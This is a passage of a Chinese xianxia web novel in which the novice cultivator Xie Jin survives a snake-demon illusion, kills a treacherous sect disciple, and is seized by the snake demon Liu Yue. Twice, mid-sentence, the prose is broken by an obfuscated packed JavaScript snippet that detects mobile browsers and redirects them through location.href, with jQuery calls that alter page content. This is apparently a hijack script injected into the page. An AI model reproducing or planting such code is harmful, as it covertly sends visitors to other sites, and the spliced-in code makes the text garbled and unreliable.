红衣女秀眉一蹙,那机灵的男弟子立马道:“师父放心,我们一定会保护好小师妹的。” 许长老说完便御剑而去,半句话也没留给常先道人,常先道人神色颇为遗憾,再次向闻折柳发出邀请,“谢道友,我们也走吧?” 闻折柳挑起眉梢,看向谢槿,谢槿被他看得一愣,才见他缓缓点头。常先道人约莫是很宠爱小徒弟柳月的,边走边温声叮嘱,“你修为尚浅,留在客栈等消息便是。” 柳月乖巧点头,又看向谢槿,那双眼睛亮晶晶的,竟伸出手牵住谢槿衣袖,“那小谢道友,你也留下来吧,我会照看好你的。” 谢槿本能想抽出衣袖,不曾想衣袖被对方死死攥住,他连断袖的心都有了,他们今天才认识啊,而且他觉得跟着师父最安全! 谁知他回头向师父求助时,师父莫名其妙笑了笑,将昏昏欲睡的小黄鸟放在肩头上空出手来,拍了拍谢槿肩头,“那你留下吧。” 为什么? 谢槿用眼神询问他,闻折柳却看都不看,转身御剑而去,倒是给他留了一句传音入耳—— “别忘了我说过的话。” 谢槿一头雾水。 哪句话? 可师父走太快,眨眼就没影了! 常先道人无奈一笑,便也踩着云团朝蛇窟而去。 大堂门前便只剩下一帮修为全都在金丹以下的年轻人,当然,如果闻折柳说的是真的,那应该只有谢槿一个人是最弱的炼气期。 晚风穿堂,客栈门前红灯笼晃了晃,谢槿的倒影跟着变得扭曲,低头看向仍被柳月抓住的衣袖,脸上露出苦笑,“柳姑娘一番好意,在下心领了,但男女授受不亲……” 他没再往下说,柳月又怎会听不懂?她这才松开手,带着几分婴儿肥的脸上绽出笑容来。 “今日看你甚少说话,连剑阁都不知,不大像我们修行中人,眼下看来,该是个书呆子。” 谢槿也不想做个书呆子,他素来谨慎,不会轻信刚认识的人,干脆就按对方给的人设来。 “我才刚修炼不久,此前的确是读过十几年书。” 柳月看他的眼神更是新奇,好像他是个异类一样。 “这么说你从人间来的?” 谢槿整了整衣袖,躬身行了个稽首礼,“正是。” 柳月弯唇笑起来,双眼异常明亮,“读书人好,我在话本上常看到,妖都喜欢吃读书人。” 这话不管是有意无意,都叫谢槿心下一颤,面上温和笑容却是不显,“柳姑娘说笑了。” 方才在门前送神剑门许长老的红衣女修看着二人嗤笑一声,抱剑转身回到大堂里坐下。 “不过是个炼气期,也就是小门小派出身的眼界低,看见什么人都往上凑,真是不挑。” 蓝衣女修低唤一声师妹,朝二人歉意一笑。红衣女修不以为然,撇嘴道:“她自己做得出来,我怎么不能说?她那师父更是谄媚,缠着许长老极尽讨好,万灵门这九流门派我听都没听说过,脸皮倒是真厚。” 她俏脸上满是鄙夷,又看向谢槿,“这个假正经也是,那师父看着生得高大挺拔,却养个女子才喜欢的小鸟儿,一看就不正经!也不知道是什么门派的,都不敢自报家门。” 蓝衣女修低斥:“师妹慎言!” 红衣女修面露不满,拧起秀眉就要起身,身旁那男弟子却收起折扇轻按在她手臂上,“小师妹,莫要为不相干的人动气,区区一个万灵门,还不值当我们放在眼里。” 他说罢掌中多了一枚宝珠,莹润光芒映在那小师妹脸上,一张冷脸瞬间露出娇艳笑容。 “铃儿师妹,这是我新近得来的宝珠,你可喜欢?” 红衣女修接过宝珠,眼底说不出的喜欢,看男弟子的眼神也越发满意,“云巍师兄有心了,不像某些人,总是胳膊肘往外拐。” 她所指那人无非就是那位蓝衣师姐,那位蓝衣师姐无奈轻叹,便向谢槿和柳月行礼赔罪。 “小师妹年少骄纵,还望二位莫要与她一般计较。” 谢槿其实有点不高兴,说他假正经就算了,说师父干嘛?师父人好鸟也可爱,可有人帮这神剑门大小姐赔礼,他还能怎么计较? 柳月倒是不生气,大方地说:“无妨,我不跟小丫头计较。”她说罢拉起谢槿衣袖,硬将人往大堂里带,“我们也进去坐着等吧。” 谢槿被按着坐下,很是怀疑师父是不是看走眼了,柳月力气这么大,哪里只是筑基期? 还好柳月很快就放开他,坐下笑吟吟望着他,“小谢道友可是在担心你师父?虽说谢前辈先前有些无礼,可他方才让人来给我们送吃的,我师父早就消气了。放心,有我师父在,你师父一定不会有事的。我们接着聊天,你多大了?可有婚配?” 一上来就问这么私密的问题,谢槿都有些招架不住了,“在下自小体弱多病,未有婚配。” “体弱多病,又是读书人。”柳月托腮望着他,笑道:“听起来真的很像话本里的人呢。” 谢槿避开与她眼神对视,“先前常先前辈说,蛇窟夜半会出现是镇上的人告诉你们的?” 柳月兴致缺缺地别开眼,“是啊,蛇窟每日半夜子时都会现身,每次现身,都有人会死。” 谢槿望向客栈大堂中的漏壶,“如今还未到子时。” 柳月摊手道:“反正蛇窟已经出现,师父他们都已经走了,到不到子时有什么关系呢?” 谢槿还是觉得不对劲,从来到柳仙镇开始就不对劲,再然后是碰上常先道人和柳月…… 客栈大堂中的漏壶不时传来水声,眼看就快到子时了,谢槿正盯着漏壶看,柳月的脸冷不丁凑到他面前来,吓得他瞳仁一紧。 “小谢道友在看什么?” 谢槿深吸口气,低头道:“无事,只是有些乏了。” 话音刚落,漏壶传来响动。 子时到了。 谢槿闻声看去,忽然听见神剑门那位小师妹惊呼一声,转眼看去,就见她手中那枚宝珠滚落在地,她那蓝衣师姐主动弯身去捡。 但还没碰到宝珠,蓝衣师姐突然拔剑朝那宝珠劈去,只一剑便将宝珠劈碎,小师妹气得拍桌而起,“兰雁你干什么!就算嫉妒师兄只送我宝珠,你也不至于这样吧?” 谢槿的位子刚好看到那位兰雁师姐剑下闪过的幽黑蛇影,他心下一惊,迅速站起身来。 兰雁师姐紧跟着便疾呼道:“师弟师妹,有蛇!” 也就是说句话的功夫,嘶嘶声响便从客栈四面八方传来,每个角落里都爬出了许多蛇。 横梁上也爬满了蛇群,冷丁窜向那位小师妹,吓得她大声尖叫,所幸兰雁师姐及时出剑,这蛇被一剑斩成黑气,消弭在空气中。 “快离开客栈!” 两个神剑门男弟子也都祭出兵器,护着兰雁师姐和小师妹二人在蛇群中清出一条道来。柳月这才起身,眸光一转,伸手抓向谢槿,谢槿余光瞥见呼吸一顿,当机立断隔着衣袖反扣住柳月手臂,扯着人追上几个神剑门弟子跑向客栈门前,“快走!” 一行人逃出客栈时,客栈已经被密密麻麻的蛇群淹没。谢槿回头再看,有雾气从街头巷尾飘来,很快便覆盖客栈,不,亦或者说,整座柳仙镇,都在雾气中消失了。 神剑门几人也察觉到这一变化,两个男弟子将兰雁师姐和红衣师妹护在身后。兰雁师姐手中握剑,神色凝重,“看来我们入了迷障……这柳仙镇,也有蛇妖的帮凶吗?” 出了客栈,谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105402|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槿就松开了柳月,离她两步远,回头问她:“柳姑娘方才可是想拉住我?” 柳月眨了眨眼,低声笑道:“是啊,没想到你反应比我还快,还好我们都逃出客栈了。” 谢槿没说什么,看向四周,“可我们又陷入了迷阵。” 柳月望着他,眼睛很亮,“没关系,我会保护你的。” 谢槿顿了下,别开脸望向前方。 那位兰雁师姐祭出了罗盘法器仍旧辨不清方向,唯有先收回法器剑指前方,“我们往前走吧,两位师弟当心,小师妹跟紧我们。” 云巍与另一位师弟齐齐应声,一行人摸黑往前走去。 谢槿见状问柳月,“走吧?” 柳月笑着点头,“好。” 谢槿没仗着自己修为最低就要人保护,等柳月先跟上去,自己才在后面垫底。那神剑门小师妹看到他们跟上来,立马皱起眉头。 “你们跟来干什么?” 兰雁师姐闻声回头,朝小师妹摇头道:“眼下大家都身陷迷瘴,贸然分开只怕会出事。师妹心直口快,二位不介意便一起走吧?” 谢槿看这位师姐还算讲道理,便拱手回了一礼。 “多谢师姐。” “无妨。” 兰雁师姐递给小师妹一个安抚的眼神,便往前带路。谢槿走在最后面,衣袖又被柳月抓住了。 “我怕蛇,不是有意占你便宜的,你帮帮我可好?” 谢槿也挣不开,还能拒绝吗? 柳月看了看四周,又说:“我好像听见什么声音了。” 谢槿好脾气问:“什么声音?” “蛇爬行的声音。” 柳月压着嗓音说完,前面的兰雁师姐便厉斥一声—— “快散开!” 她话还没说完,迷雾中出现一道巨大的蛇影,长尾一甩,饶是她及时举剑,仍是被那蛇尾重重甩开。两名师弟纷纷出剑,黑暗中闪烁起冷厉剑光,也显出了蟒蛇巨影。 那蟒蛇通体赤红,一截尾巴便足有水桶粗,长尾拍来,鳞片擦过剑身,闪烁起星点火光。 两名师弟踉跄退开,露出护在身后的小师妹,眼看那蟒蛇张大血口袭来,一柄飞剑先一步拦在了蟒蛇血口前。望见从地上爬起掐诀御剑的兰雁师姐,谢槿眼前一亮。 这就是御剑术吗? 兰雁师姐掐诀御剑,灵剑化为三道锋锐剑影朝着巨蟒飞去,“两位师弟,随我结剑阵!” 两名师弟运转御剑术,一人扇中化出剑气,一人背后剑匣飞出数柄长剑,合力结成剑阵。 谢槿静静看着他们掐诀的手势,眼睛一眨不眨。 剑阵绞杀之下,巨蟒嘶吼不绝,渐渐倒地不起,不多时,三个年轻剑修都力竭撤去剑阵。 兰雁师姐收剑时已累得快站不住,第一时间便关怀方才吓坏的小师妹,“小师妹,你……” 熟料就在这时,先前奄奄一息的巨蟒忽然睁开竖瞳腾空跃起,喷出一口血气,窜向二人。 小师妹脸都吓白了,连声尖叫,“别过来!别吃我!” 兰雁师姐忙出剑将人护在身后,“小师妹快走……” 她话音戛然而止,因为身后的小师妹突然用力将她推向巨蟒腥臭的血口之下,便仓促飞走。 莫说兰雁师姐不可置信,两个师弟也都是一脸错愕。 那云巍最先反应过来,竟也飞身逃离此处,只留下一句,“我去追小师妹,师姐师弟当心!” 兰雁师姐慌忙站定提剑格挡,灵剑却被咬碎,人也被巨蟒狠狠撞飞,不知摔到哪里,衣裙被血水染红。巨蟒趁机爬近,她咬着牙往外爬去,手伸向剩下的那位师弟。 “师弟救我!” “师姐……我会禀告师父,你为救我们舍身饲妖。” 那位背负剑匣的师弟眼神闪躲,说罢也御剑离开。 巨蟒血口下的兰雁师姐杏眸死死瞪大,泪光涌动。 而亲眼看到这一幕的人,还有远处的谢槿和柳月。 柳月像是习以为常,老神在在道:“这巨蟒已经快要结丹了,他们打不过,想逃也不丢人,就是可惜了这位师姐。我们也走吧?” “走?” 谢槿愣了下,那几人分明是同门,前一刻还默契地并肩作战,如今情况急转,几人却都抛下了正在生死危机的师姐,独自逃走。 这就是师父想要他看的修真界吗? 24. 第二十四章 兰雁师姐应是伤了腿跑不掉,身上全是血,在师弟逃走后,她双眼一闭也倒在了地上。 巨蟒被剑阵所伤,正值暴怒之际,更不会放过到嘴边的食物,张着血口便要吞食她。谢槿眼睁睁看着这一幕,呼吸一紧,也不知道哪里来的力气挣开被柳月抓住的衣袖,身影一动毫不犹豫奔向巨蟒口下。 他记得,方才那小师妹不想让他们跟来时,是这位兰雁师姐开口劝阻,愿意庇护他们。 好人不该落得这个下场。 柳月在身后惊道:“你不要命了!” 谢槿充耳不闻,运转起九天功中的提速身法踏雪寻梅,身影化为一道闪电,以他从未有过的神速,倏然之间飞奔到巨蟒血口下! 不愧是揽月宗根基九天功,他的速度比巨蟒更快! 那一刹那,他后背几乎没入巨蟒口中,也被蟒口中腥臭味熏得头脑昏胀,所幸身体比脑子反应更快,没有片刻停顿将地上的血衣人扛起来,往柳月所在的反方向跑去。 “孽畜,有本事来追我!” 巨蟒血口咬空一头撞地,怒吼一声,蜿蜒追来。 谢槿不敢停下,将所有灵力都凝聚到两条腿上。 迷雾中辨不清方向,原本的柳仙镇仿佛成了一片荒原,前路没有阻碍,也找不到出路。 谢槿也不知跑了多久,直到身后再没有传来巨蟒的嘶吼声,也不再有窸窸窣窣的蛇类爬行声,他才喘着粗气将兰雁师姐放下来。 估计是因为失血过多,兰雁师姐已经昏睡过去,额头和半边脸上全是血,肩头和小腿也血迹斑斑。谢槿不敢乱动,只取出回灵丹,隔着干净手帕掰开她的嘴巴塞进去。 “势不得已,有怪莫怪。” 谢槿跪坐在地,长出一口气,抬起衣袖擦了把汗,丹田灵力已经消耗了大半,又与众人走散,只剩他一个练气五层和一个重伤昏睡的,不管如何看,他们此刻都极危险。 但总比他一个人落单好。 谢槿自己也吃了一颗回灵丹恢复灵气,他不后悔救人,至少他救出来了,也算是还清了方才这位兰雁师姐愿意庇佑他这份人情。 起码他目前还是做不到像神剑门的那几个弟子一样,在关键时刻扔下自己的同伴不管。 不过那巨蟒不跟着他了,也不知道跑去哪儿了。 谢槿正思索着,迷雾之中忽然有细微的脚步声传来,他警觉起来,指尖扣住一张灵符。 很快,他便见到了一道人影。 “是你。” 那手持折扇往这边走过来的人,正是神剑门那个最初喊着要去追小师妹的师弟,云巍。 谢槿也没想到会在这里跟他狭路相逢,这人能在生死关头抛下同门,绝非善类。他如此想着,将扣着灵符的手背在身后,随即神色从容地起身,“原来是神剑门的师兄。” 云巍显然没将他放在眼里,摇着折扇看向他身后的兰雁师姐,“师姐怎么在这?你们逃出来了?那我三师弟和那位柳月道友呢?” 谢槿面不改色道:“这位师姐伤得不轻,那位师兄和柳姑娘先去寻路。对了,师兄方才不是去找师妹了吗?那位师妹可还好?” 云巍轻摇折扇,“也是,这迷雾兜兜转转都找不到出去的路,若都留下照看师姐,也不知要到何时才能出去。师妹也无碍,我让她在后方安全之处等着,先过来探路。” 两人相视一眼,都笑起来。 谢槿一眼看出来,这人是在撒谎,他那位小师妹根本不在身后,或许他根本就没去追。 可这人是筑基期,谢槿不好与他硬碰硬,便顺着他的话说:“那就好,此地也还算安全,那不如师兄先去将那位小师妹接过来,我们一起在这里等柳姑娘他们回来如何?” 云巍收起折扇,似乎在思量什么,余光瞥过昏迷的兰雁师姐,却是朝谢槿走近,“我倒觉得,还是你们随我去见小师妹比较好。” 谢槿眸光一紧,扣紧手中灵符,“可这位师姐伤得不轻,只怕不好移动,不如还是我留下等着,师兄将那位小师妹带过来吧?” 云巍手持折扇,有一下没一下敲着手心,双目直勾勾望着谢槿,“此处只剩你我二人,这位小友也不必再说这些客套话了。师姐如何,我不管,她最好的归宿便留在这里为我们引走蟒妖,而不是回宗门与我争夺真传弟子的位子和资源,至于你吗……” 他弯唇笑起来,手中折扇却在同时亮起剑气,朝谢槿脖颈命脉攻去,“死在这里就好了!” 万幸从他收扇起,谢槿便早有预料,在剑气袭来时祭出灵符,火球凭空而现,扑向云巍。 云巍迅速退开,挥扇扑灭火球。 谢槿趁机拉远与他的距离,“我与你今日才初次见面,应当无仇无怨,你为何要杀我!” 云巍笑起来,摇起折扇,端的是风流俊逸,望向谢槿腰间的眼神却泄漏出贪婪之色,“怪只怪你那师父将你单独留下来,若我没看错的话,你腰间那铁球隐隐有几分精纯剑气溢出,应当是一件极好的法器,身怀异宝还敢单独留下?你死得不冤。” 谢槿下意识看向妖剑铁球,恍然大悟的同时又免不得有些懊恼,没想到剑傀在宗门时被玄意师叔惦记,出了宗门后还会被外宗之人惦记!这个云巍分明是要杀人夺宝! “你们神剑门好歹也背靠中域第一剑宗的剑阁,神剑门弟子却行杀人夺宝这等无耻之事!” 谢槿再看躺在不远重伤昏睡的兰雁师姐,突然想明白了,“你连同门生死都不顾,想来方才说什么找到了小师妹也是在撒谎吧?” 云巍跟着看向兰雁师姐,嗤笑道:“是又如何?那蠢货不过刚刚筑基,非要跟出来,若非为了讨好门主,我根本不会多看她一眼。不过她死在这里,对我可没有好处,等除掉你拿到宝物之后,我便会去寻她。” “至于师姐……”云巍忽而眸光一沉,手中折扇飞出,扇边闪烁寒光,朝谢槿飞去,“她身受重伤,一个人待在这迷阵里也活不成。小子,交出宝物,痛快些受死吧!” 谢槿自然不能坐以待毙,都要被人杀了,往日画的灵符一股脑取出来,引雷击飞折扇。 云巍身影一动,抓住折扇,手持折扇朝他攻来。 不愧是神剑门弟子,他的扇,便是剑。扇边锋锐雪亮,剑气削铁如泥,杀意更是凛冽。 托此前剑傀陪练的福,谢槿略有一些斗法实战的经验,但云巍与剑傀最大的不同之处在于,剑傀点到即止,云巍却一心杀他! 这就是修真界吗? 谢槿初时有些慌乱,很快便施展了自己所有的手段。可他到底只有练气五层,而云巍却是筑基期,一个大境界的差距犹如天堑,他所学符法只能拖延云巍一二,不过一会儿,云巍便一掌将谢槿拍飞出去。 谢槿狼狈倒地,摔得浑身上下哪儿都疼。云巍摇着折扇向他走来,居高临下俯视着他。 “交出宝物。” 谢槿倒抽口气爬起来,脱口而出,“饶我不死?” 云巍笑道:“若让你活下来,你那师父如何能饶过我?你也莫怪我狠心,这修真界多的是杀人夺宝之事,有剑阁庇佑的是神剑门门主,不是我。若方才我没有来,你应当也是想趁师姐重伤夺走她身上的宝剑灵石吧?倘若师姐醒来,你也会杀她。” 生生受下云巍一掌的左肩疼得厉害,谢槿眉头紧皱,反问他:“你看谁都觉得像自己吗?” 云巍脸色沉下来,“找死!” “不是想要宝物吗?” 谢槿打断他的话,伸手按在腰间的铁球上。云巍神色稍缓,朝他走近,“把宝物交给我!” 谢槿等他走近,手却松开铁球挥出一把引雷符,朝云巍面前掷去,随即抬手掐诀。灵力激活灵符,滋啦啦的冷厉电光自灵符中跃出,以云巍为中心,轰隆隆炸出惊雷阵。 云巍怔了下,匆忙打开折扇以剑气挡下雷电,可灵符太多,炸出来的雷电几乎将他包围,仍是不可避免伤及他,叫他惨叫出声。 谢槿头也不回趁机转头,运起身法拼命往外跑去,他修为太低,打不过,不跑等死吗? 可还没跑出三丈,身后便有一道寒光破风而来! 谢槿自修炼后耳力好了数倍,听见风声不对,急忙往右侧翻滚躲开,便见一道剑光落到先前不远的地上,炸出一道深深的剑痕。 而很快,黑暗中又飞来数道剑光,俱是奔着谢槿而来。谢槿忙爬起来闪躲开来,几道剑光过后,便是云巍挂着黑灰的阴沉面容手持折扇自迷雾中朝他攻来,目光沉沉。 “不过是小小一个炼气期,还想与筑基期修士相斗?真是异想天开!小子,你跑不掉的!” 距离太近,跑不了! 方才废了一堆引雷术,只在他手背上留下一道焦黑血痕,将他那一副俊逸面容染上灰黑,根本不可能伤他太深,却也触怒了他。 云巍折扇切出数道剑气,先断了谢槿前路,便手持锋利折扇朝他脖子飞来。谢槿心道不好,接连取出数张灵符,最后实在没办法,摸到储物戒里面福德堂发的配剑。 砰—— 折扇斩上配剑,于剑锋上擦出火星,留下一道不浅的凹槽,随即挑飞出去,深插进泥土。 云巍耐心耗尽,执扇斩去。 “小子,给我死!” 谢槿趔趄后退,双眸瞪大,眼下生死关头,师父还未回来,他无处可躲,便只能搏命了!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105403|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 半日前玄意师叔在赤月峰上使出过的那一招指法仿佛又在他眼前重现,谢槿尽力回想起玄意出手时的每一个细节,抬手掐诀—— 玉阳心决,源自九天功中的无名心法。无名心法第三重由内化外,在玄意话中,蕴玉真人所创的玉阳指法第一式,恰好与无名心法第三重相通,谢槿能熟练第三重,将灵力化为攻击,范围最多不过二尺半,可玄意出手便转瞬削去整片枫叶林。 而此刻,云巍离谢槿的距离,也只有不到三尺。 既然逃不掉,就赌一把! 谢槿当机立断,修长五指飞快掐诀,将丹田内剩余的所有灵力悉数汇往经脉,凝于指尖。 此时,锋利的折扇裹挟着剑气逼近谢槿面前,灵力剑风犹如刀子一般,刮向谢槿外露的肌肤,在他脸颊与颈侧、手背擦出血痕。 顷刻间,灵力点燃经脉,自谢槿细白指尖迸发射出! 以炼气期的弱小身躯对抗筑基期剑修修出剑气的玄铁扇剑,本是不可能的事,可偏就在二人眼前,那灵力犹如利刃,所向披靡,一指射穿玄铁扇扇面,洞穿云巍眉心! 云巍眉心赫然多了一个血洞,周身剑气顿消,手中的铁扇也随他倒下哐当一声坠落地面。 他死死瞪大双眼,不可思议地看向谢槿所在,“我,怎么……可能,会输一个炼气期……” 最后一个字说出口,他便脖子一扭,彻底咽气。 谢槿愣愣睁着双眼看着云巍好一会儿,双膝一软,便瘫坐在地。他已经耗尽灵力,身体也因为剑气留下不少血痕,但此刻他除了感到疲累还有便是无措,因为云巍死了。 他看向自己双手,仍有些迷茫。他借玉阳指法第一式净水无明,似乎突破了无名心法第三重的瓶颈,发挥出了前所未有的杀伤力,练气五层的修为也出现了提升的征兆。 这是喜事。 但云巍也死在他手里。 哪怕已经穿过来十六年,过去十六年里的谢槿,也从未遇到过这样的险境,更别提杀人。 可他又清楚,修真界便是如此残酷,若他方才不动手,或是他运气差了些,死的就是他。 他才开始修炼,像今日这样的事,恐怕日后还会更多,他若不能克服,便不能走下去。 也没等谢槿发呆多久,黑中便传来少女银铃般的笑声,谢槿如梦惊醒,攥紧颤抖的双手。 一个眼熟的白裙少女从大雾中走出来,路过了兰雁师姐,瞥了一眼,便不以为意地朝谢槿走来,双眸在一片漆黑之中异常明亮。 “还以为你当真只是个小书呆子,没成想也挺厉害的,居然能以炼气修为反杀筑基期。” 看着少女朝自己走来,谢槿慌乱的眼神慢慢变得冷静下来,撑着疲惫的身体爬了起来。 “柳月姑娘,你没事?” 柳月背着双手,步伐轻盈朝他走来,脸上仍是笑盈盈的,“我没事啊,你引走了巨蟒,又救了兰雁师姐,方才又杀了这个云巍,好生厉害。谢槿,你真的只有练气期吗?还是说,你是什么大宗门的弟子?” 谢槿灵力已经耗尽,只能再取出一枚回灵丹服下,一边望着柳月走近,垂眸轻叹口气。 “我不是大宗门的弟子,只是师父教得好罢了。” 柳月点了点头,“也是,你师父可是化神期呢。” 她低头看了看云巍死不瞑目的模样,啧了一声,“这人方才好生傲气,又无情得很,死了也就死了。倒是谢郎,叫我很是惊喜。” 她说着偏头凑近谢槿,眼里含着过分狂热的笑意,方才还直呼名字,这下却唤起谢郎,一双细白漂亮的手便要触碰到谢槿肩头。 谢槿脸色微变,连忙退开。 “柳姑娘自重。” 柳月掩唇一笑,嗔道:“这里又没外人,小郎君羞什么?再说了,你又还未娶妻,我若有意与你结成双修道侣,你也要拒绝吗?” 谢槿暗自运气恢复灵力,拱手婉拒,一脸正直,“多谢姑娘厚爱,但在下并无娶妻之意。” 柳月捧起脸问:“你不喜欢我?我不够漂亮吗?” 谢槿别开眼,“非也……” 柳月蹙眉,“那是为何?” 谢槿单手藏在袖中,取出一张灵符,“实不相瞒,我不喜欢女子,自然不会与女子成婚。” 柳月眨了眨眼,“原来你是断袖啊?我就说你跟你师父两个男人怎么就只要了一间房。” 谢槿一下听懵了,他是断袖,跟这有什么关系? 柳月又笑起来,绕到谢槿身后,露出蛇类竖瞳,玉手伸向谢槿单薄后肩,嗓音变得粗哑。 “无妨,谢郎若不喜欢女子,月儿也可以是男子。” 25. 第二十五章 柳月的手正要碰到谢槿肩头,谢槿忽然转身,叫她的手落了空,还没来得及藏起竖瞳,一张符纸被贴到额头上,当场冒出青烟来。 “啊——” 柳月的嗓音由柔和转为粗哑,那张姣好的面容也一点点变得轮廓分明,身量显然比方才壮实了一圈,但额头上的灵符符文灵光灼灼,挡住了她的大半张脸,也烫得她浑身颤抖,双手却是不敢靠近那张符纸。 “你给我贴了什么东西!” 谢槿快速退开,拉开二人间的距离,“驱邪符,宗门出品,镇妖驱邪,自然比我亲手画的符高级好用。你方才说什么怪话?你是男是女,跟我不想和妖成亲有什么关系?” 这驱邪符出自揽月宗的福德堂,谢槿出门前特意收拾出来带上的,现在这时候正好用上。 驱邪符下,妖物显形。 柳月白裙下的身量由少女转为少年,随即外露的肌肤隐隐浮现出蛇鳞,嗓音含痛带怨。 “你早就知道我是妖!” 谢槿余光瞥向远处还在昏睡的兰雁师姐,“你们师徒二人漏洞百出,我很难看不出来吧?先是柳仙镇,你师父又叫常先,柳仙、常仙,不都是蛇?你又名柳月,方才口口声声说着怕蛇,却又表现得过分平静,分明并非恐惧,而是一路都在看戏。” 谢槿一边暗中梭巡黑雾可有退路,一边说:“如果我没猜错的话,先前在客栈里蛇群出没时,你本是想将我推进蛇群的,而且你落单后再现身时也没打算再装下去了吧?” 柳月颤抖的身体慢慢平复下来,竖瞳透过额头驱邪符朝他看去,眸光阴冷,“好啊,还以为你是个小呆子,没成想呆的是我。可你现在得意又有何用?谢郎,莫忘了你如今还身处迷障中,你师父可是被老常引走了,今夜没有人会来救你的。” 谢槿警觉后退,“你想做什么?” “我想做什么?” 柳月冷笑着撕下额头上的驱邪符,在谢槿惊愕的眼神下将其撕成碎片,少年身量骤然化成水桶粗的二十余丈长大白蛇,竖瞳高高俯视着谢槿,吐出猩红蛇信,口吐人言。 “原本看你呆头呆脑的,还想再留你玩一玩,既然你这么聪明,那我还是直接吞了吧!” 谢槿忍不住发笑,“吃了我,就能给你补脑吗?” 大白蛇僵了下,嘶吼一声,卷起长尾朝他拍来。 “混蛋!” 谢槿即刻运起身法躲开来,转身跑走,身轻如燕,眨眼便跑出了数丈外。大白蛇望了眼远处躺着的兰雁师姐,再看谢槿离开的方向,又是冷笑一声,蜿蜒着蛇身追上去。 “谢郎还是挺怜香惜玉的,唯独对我狠心。也罢,待我吃了你,便回头将那女修也吞了!” 谢槿不理她,埋头死命往前跑。 大白蛇身量庞大,速度也极快、极为灵活,始终紧跟在他身后,笑声嚣张,“现在跑有什么用?可知这迷障本就是我的蛇窟,只要我一张嘴就能吞掉你?可谢郎逃跑的样子好生狼狈,我还想多看两眼,毕竟等将你吞进肚子后就再也见不到了呢。” 迷障就是蛇窟? 谢槿眉心一紧,提起跳起避开身后拍来的蛇尾,甚至踩在蛇尾上,借力跃出数丈之外。 “所以这柳仙镇才是真正的蛇窟,那师父他们……” 大白蛇化为人时嗓音时而柔和时而粗哑,化出原形时将两种嗓音交叠,雌雄难辨,笑声听去也颇为刺耳,“老常吃大人,我修为低吃小人,你师父他们在老常肚子里吧!” “你们果然不是师徒!” 谢槿冷睨身后大白蛇一眼,脚下飞快遁出数丈。 见他生气,大白蛇反而越发兴奋,“生气了吗?没关系的,我会留你一根骨头,到时让老常吐出一根你师父的骨头,埋在一起,也算是你们人说的生不同衾死同穴了吧?” 谢槿语塞,又遇到文盲了! 可他要是停下会被吃掉,只能硬着头皮不停跑! 踏雪寻梅身法源于揽月宗的九天功,一定能跑得过蛇妖,若是不能,就是他还没到火候! 不过很快,他就明白大白蛇为什么只是在身后追他了,被大雾笼罩的前路竟是一处断崖。 谢槿急急停步,脚下碰到石子,往山崖下滚去,不是往下掉落,而是荡起一层水波般的涟漪,而后被那层涟漪弹回来。大白蛇慢悠悠堵住了后路,沙哑笑声刺耳阴冷。 “我说过,你逃不掉的。蛇窟有我师父布下的法阵,你脚下的路都是法阵幻化,但就算你跑到阵界,你也跑不出去,只会回到我身边,被送入我口中。谢郎,认命吧。” 跑不掉,就只剩一条路了。 谢槿回头看向大白蛇,“我师父不会有事的。” 往日闻折柳是不那么稳重,可他在谢槿眼里一向强大靠谱,今日闻折柳的态度又显然能看得出来常先师徒身份有异,谢槿相信,闻折柳若是早有预料,便不会轻易出事。 大白蛇庞大的身躯几乎完全挡住后路,大蛇脑袋都有两个谢槿大,身上每一片泛着冷光的蛇鳞能让人清晰可见。此刻谢槿由衷感激自己,还好他胆子不大,却不怕蛇。 “你师父?那个养鸟的小气鬼,老常看上他那酒了,白日还被他惹恼,绝对不会放过他的。”大白蛇冷哼一声,俯首向他靠近,“谢郎就死心吧,你们师徒都逃不掉的。” 看大白蛇靠近,谢槿找到时机,忽而掐诀,指尖灵力射出一束冷厉灵力,直击那双蛇瞳。 未料就在同时,蛇尾迎面拍来,将他狠狠甩飞出去,撞上法阵边界激起层层涟漪,而后重重摔落下来,猛地吐出一大口血水来。 大白蛇的蛇尾紧跟着缠上了谢槿腰身,将人带回面前来,吊在半空中,悬在阴沉竖瞳前方。 “方才见你用那招杀了云巍,我又怎么会再给你出手的机会?谢郎,听闻读书人的皮肉要比常人香一些,你就让我尝一口吧?” 谢槿方才摔得整个脑袋嗡嗡响,身上都疼麻木了,感觉到身体被蛇尾一圈圈缠紧,便是心里想要反击大白蛇的浑话,也无力开口,他的腰背被越缠越紧,胸腔的空气都快被挤压出去了,快要呼吸不过来了。 双手被缠住,根本动不了,才恢复不多的灵气又被耗尽,抽空丹田,意识也在慢慢昏沉。 额角的血水淌下来,打湿谢槿眼尾,让他稍稍回神,一睁眼,便见到白蛇血口正在靠近。 柳月得逞的笑声在耳边回荡,他听来却有些模糊,“我吞吃过不少人族,也不是没碰见过你这样刚入道修炼的炼气期,你已经比许多寻常凡人幸运多了,这么年轻有趣的小炼气期,就进我肚子里轮回去吧。” 谢槿要是还有力气,八成要骂一句这白蛇有病。 可他已经被卸去了所有力气,视线渐渐模糊的双眼望着上空,意识也在一点点被抽离,昏胀麻木的大脑中便只剩下一个想法。 师父还没回来吗? 他冷不丁回想起这段时间在赤月峰与师父的相处,大抵便是临死前的回马灯,想起师父如何让他日渐安心下来,心中终究难平。 谢槿咬破唇角让自己尽量清醒,双眼却慢慢涣散。 “师父……” 这次唤你,你还会出现吗? 